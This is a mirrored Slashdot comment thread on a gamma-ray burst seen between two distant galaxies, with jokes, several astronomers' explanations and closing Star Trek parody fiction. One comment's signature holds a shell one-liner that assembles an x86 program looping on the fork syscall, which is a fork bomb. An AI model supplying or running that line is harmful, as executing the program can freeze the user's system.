Slashdot Mirror
Supernova Detonates In Empty Space
mlimber tips a story in New Scientist about a powerful cosmic explosion that has astronomers scratching their heads. It apparently resulted from a supernova detonating in empty space, far from any galaxy. Researchers propose that the exploding star was in the gas trail yanked out of a galaxy when it passed or began merging with another. Quoting the lead author of the study: "Even if the galaxies have stopped forming stars, in the tidal tails you can trigger new episodes of star formation [not to mention detonation]." The research will be published in the Astrophysical Journal.
My vote is that it was a starship that had a critical engine failure.
:(
It gives me hope and lets me sleep at night. Don't destroy my dream
...an interstellar war. Some alien species just lit off a nuke the size of a supernova. At least, it would be bad ass if that were the case.
Death Star
GetOuttaMySpace - The Anti-Social Network
I already had to worry about terrorists, killer bees, violent video games, and the War on Christmas, and now I have to worry about random supernovas in empty space.
:checks the sky for supernovas before walking outside:
Step into a huge movement. Don't Tread In Me.
How far can a star get from its home galaxy during it's lifetime? Especially one large enough to make a supernova: don't those have even shorter lifespans?
Even if it could escape the galaxy, how would it get far enough to make it questionable about what galaxy it came from?
It should have been written as "...Exploded in space outside any galaxy or identified solar system".
Picky yes, but it gets tiring reading "news" where the writers of the public blurbs just don't know enough to get the details right.
Oh... the JEDI are going to feel this one!
It wasn't exactly empty space.
This universe is amazing in all the ways it runs. Supernovas are inevitable, obviously, and thus the new elements they create are destined to be dispersed. Astronomy has shown that these heavier elements inevitably form into new stars and planets. Physics shows that these elements inevitably form molecules. Chemistry shows that the molecules inevitably bind together to form complex substances. Biology shows that these complex substances will further form replicate themselves.
We began by connecting the dots in the sky to form images of heroes, gods and monsters. Who knew that when we finally connected them all together it would be a picture of ourselves?
Read my Very Short "Stories"
http://en.wikipedia.org/wiki/Fred_Hoyle#Rejection_of_the_Big_Bang While having no argument with the Lemaître theory, (later confirmed by Edwin Hubble's observations) that the universe was expanding, Hoyle disagreed on its interpretation. An atheist, he found the idea that the universe had a beginning to be philosophically troubling, as many argue that a beginning implies a cause, and thus a creator (see kalam cosmological argument).[4] Instead, Hoyle, along with Thomas Gold and Hermann Bondi (with whom he had worked on radar in World War II), argued for the universe as being in a "steady state". The theory tried to explain how the universe could be eternal and essentially unchanging while still having the galaxies we observe moving away from each other. The theory hinged on the creation of matter between galaxies over time, so that even though galaxies get further apart, new ones that develop between them fill the space they leave. The resulting universe is in a "steady state" in the same manner that a flowing river is - the individual water molecules are moving away but the overall river remains the same. I guess you could imagine white holes spewing out matter from black holes into the void between the galaxies in a sort of mini big bang. I guess if we had lots of little bangs instead of one big one it would explain why the universe is flat and homogenous - you wouldn't need to have an inflationary period to flatten things like you do after one big bang. The cosmic microwave background radiation would thus come from all these white holes over eternity rather than one big bang.
Matter is conserved in one universe too, which seems neat. Black holes gobble it up and white holes spit it out. In the big bang model, something spooky connects black holes in one universe to big bangs in a different one. Or maybe matter isn't conserved at all.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Ok, I am not a professional astronomer, but here's my take on it.
Problem is that stars that blow up as supernovas are big. Very big. Especially since this one hints that it was so big to collapse into a black hole (based on the gamma ray burst).
Big stars don't live long. Only millions of years, instead of billions like our sun (or tens of billions like red dwarfs..).
Nearest galaxy was about 100000 light-years away. You don't get a star from there to the current location in just a few million years.
So, the star must have *formed*, burned, and blown up in intergalactic space.
I haven't read the article (or the paper it talks about), but since I'm an astronomer, I think I have an idea what the strange thing about this is.
Only massive stars end with a supernova, and massive stars are very short-lived. So generally, while a low mass star like our sun is likely to be found far from where it was born, massive stars usually are only found close to where they were born (since they don't live long enough to travel far). But, stars are usually born in dense areas in galaxies (so the space between galaxies would be a very unlikely place for star formation to happen).
So that is most likely why this is considered an odd case.
It could've been a hypervelocity star.
It was really a chain-reaction of a distant planet using new small portable reactors to power local neighborhoods.
Sort of. There are two galaxies 160,000 light years apart. The gamma ray burst came from a spot in between them. Since both are about 9 billion light years away, it's a bit hard to make out fine details. Since, as you say, giant stars don't normally form in intergalactic space, the hypothesis is that the galaxies collided and are now separating, dragging streams of material between them. Stars can and do form (copiously) in that disturbed material, which is not really in intergalactic space, but rather a deformed part of these two galaxies that's just too faint to see.
They're doing deeper field observations now to try and detect the material dragged out by these galaxies colliding.
As clearly stated in the article, this was not a supernova (SN), but rather a gamma ray burst (GRB). The network of satellites referred to all trigger on high energy gamma rays, and look for the afterglow of the event which caused the trigger. The time scale of GRBs is typically on the order of seconds. Core collapse SNe, by comparison, are optically visible and have a brightening and fading timescale on the order of days or tens of days.
Much more is understood of core collapse SNe than the progenitors of GRBs. One of the leading models for short GRB progenitors is the binary inspiral of two massive, compact objects, at least one of them being a neutron star. Obviously we can't resolve the region that the GRB came from, but from the above model, it's inferred that there is a region dense in stars out there, rather than just one isolated star. The second piece of evidence is that the afterglow was actually visible: this afterglow is most likely from shock waves in the interstellar gas, having associated high densities and temperatures, glowing in the optical or xray. If there was no gas by the progenitor of the GRB, there would not have been an afterglow (or the model is wrong).
The slashdot title was therefore wrong in two ways: this was not a SN event, and it was not in empty space - it was just not in a host galaxy.
-Leo
He wasn't about to allow Federation Technology to fall into the hands of the evil Klingon Empire...with this in mind Kirk uttered the ominious phrase, "0-0-0-Destruct-1", at which point the computer said in its sexiest voice, "Shatner...I've always loved you...I can't believe this is how it has to end...but...at least...I had you inside me...TIME UNTIL AUTO-DESTRUCT 00:01:00"
Before the Captain could respond his communicator chirped.
"Captain, this is Hikaru Sulu aboard the USS Excelsior, we are ready to beam you aboard your new command Captain."
The Computer was furious, "BILL! HOW COULD YOU?! AFTER ALL THOSE SEASONS AND MOVIES TOGETHER...HOW...*SOB*TIME UNTIL AUTO-DESTRUCT 00:00:53"
Kirk replied, "Computer...I'm sorry...but this...is...over. I have...WE have...to explore other options and I've explored all your strange new worlds...now...its time...for me to...to seek out new life forms...and new...sexy-civilizations..."
In a malevolent move the computer shut the doors and the turbolift ceased to operate..."Kirk...The cake...is a lie. Aw FUCK IT.TIME UNTIL AUTO-DESTRUCT 00:00:10"
Kirk had barely enough time to curse.."KAHHHHHHHHHHN! no wait...*poof*"
Meanwhile back on Earth a couple of astronomers were scanning the sky.. "Hey, did you see that?"
"See it, did you smell it?"